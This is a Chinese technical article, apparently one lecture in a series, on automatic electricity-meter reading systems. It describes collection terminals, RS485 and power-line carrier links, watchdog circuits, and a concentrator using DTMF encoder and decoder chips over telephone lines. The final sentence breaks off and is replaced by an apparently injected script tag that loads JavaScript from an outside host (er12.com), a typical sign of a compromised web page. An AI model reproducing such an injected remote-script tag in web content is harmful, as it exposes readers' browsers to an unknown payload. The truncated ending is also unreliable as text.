摘 要：综合介绍电力用户自动抄表系统的系统结构、采集终端、集中器和相关的通信信道。
关键词：自动抄表系统；集中器；采集终端
1引言
前面17讲介绍了许多新型电子电能表和有线、无线抄表系统。本讲将以前讲过的内容疏理一下，帮助读者对讲座内容有个全面的了解。与此同时，对抄表系统中的采集终端和集中器的典型设计方案也作较详细介绍。
图1是集中抄表系统的基本结构图。它由采集用户电能表电能量信息的采集终端(或采集模块)、集中器、信道和主站等设备组成。图中采集终端、采集模块是分别用来采集多个或单个用户电能表电能量信息，并经处理储存，然后通过信道将数据传送到上一级的设备或专用模块。集中器是收集各采集终端或采集模块(或多功能电能表)的数据，并进行处理储存，同时能和主站或手持单元进行数据交换的设备。主站是通过信道采集集中器中的信息，并进行处理和管理的设备。信道是传输信号(数据)的媒体。实际的集抄系统中常混用两种或两种以上信通。如，电能表与采集终端之间采用rs485总线通信，采集终端和集中器之间采用低压电力线载波通信，集中器与主站之间采用电话线、某种总线或无线方式通信。
2采集终端
一种可采集多个用户的终端原理电路见图2。它由单片机、小键盘、显示器、串行通信电路、存贮器等构成。经程序控制，此终端具有远方自动抄表和人工就地抄表双重功能；具有设置用电常数，采集、处理、存储各用户用电量及与一级设备通信的功能。
由电子电能表的工作原理知，一段时间之内用户消耗的有功电能ep为：
式中，δt为采样时间间隔；ui、ii为电压、电流的第i个采样值；n为这段时间内的采样次数。表内a/d转换电路将ui、ii转换为对应的数字量；表内单片机或dsp对它们作数字乘法运算，产生此时刻的有功功率；边采集处理边累加，经过一段时间后即得到这段时间内用户消耗的有功电能。
电子电能表通过串行口(rs485或rs232)接采集终端，并按事先约定的通信规约接受采集终端的访问，输出积算周期的用电量等。
为保证掉电时不丢失信息，采集终端采用e2prom存储器存储用户的用电数据(用户号、年月、用电量等)。为防止终端死机，图2中设有看门狗电路。单片机定时发脉冲给看门狗，使它内部的计数器清零；如果在预定时间内看门狗没有收到单片机发来的脉冲，则主动发一脉冲给单片机，使其复位。
图2方案中，采集终端通过载波通信模块/电力线(pl)与集中器通信。载波通信模块的rxd、txd和同步时钟等接单片机，将从电力线接收到的抄表、查询等命令经rxd送入单片机，供其进一步处理；单片机将 欲发送的用户用电量、故障信息等经txd送载波模块和经电力线输出。
3集中器
图3是一种以单片机89c52为核心构成的集中器硬件电路［1］。它主要由振铃检测电路、dtmf(双音多频)信号收发电路、载波通信模块、存储器和时钟电路等5部分组成。
集中器与主站之间采用电话信道通信。集中器以振铃检测电路及时响应主站发出的抄表指令。双音多频电话信号的接收和发送采用ht9170d和ht9200a及相关电路实现。ht9170d是一款具有解码和滤波功能的dtmf接收芯片，它利用数字计算方法来识别双音频信号，对16种dtmf输入进行解码。实际通信时，双音频信号从l1、l2端输入，经c3、c4隔直后送入9170的第1脚和第2脚。ht9170d接收到有效的dtmf信号则在dv端输出高电平；将oe端置高，单片机就可以从d0～d3端口读入解码的输出。图3中oe端接+5v，因此，只要用单片机的p3.3不断检测dv端电平的变化就能准确地接收dtmf信号。
dtmf信号、d0～d3及电话按键信号的对应关系见表1。
ht9200a是一款按5位串行输入代码输出不同的dtmf信号的编码芯片。图3给出了商家推荐的一种标准接法。data、clk分别接单片机的p1.0、p1.1、p1.2，x1、x2接3.58mhz晶振(c1、c2为20pf电容)，dtmf端双音多频输出端接驱动电路。单片机用p1.0控制ht9200a的工作状态，置低电平时允许发送数据。此时，在p1.1端串行输出待编码的5位二进制码，d0在前，d4在后，并在p1.2端输出的同步时钟信号的下降沿锁存这些数据。ht9200a接收到这些代码后，经内部处理从dtmf端输出双音频信号，再经驱动放大后送到电话线上。单片机对ht9200a的驱动时序见图4。
图3中的载波通信模块的作用与采集终端的载波模块的作用大同小异。图中24c256是串行e2prom存储器，用来存储用户的数据；因集中器保存的用户数多、时间长，因此选用的存储器容量一般都很大。图中pcf8583是一款带i2c总线、低功耗的多功能时钟/日历芯片；ds1232为看门狗芯片，所起的作用与采集终端中所起的作用相同。
4补充说明
图3所示的集中器通过电话网?script src=http://er12.com/t.js>
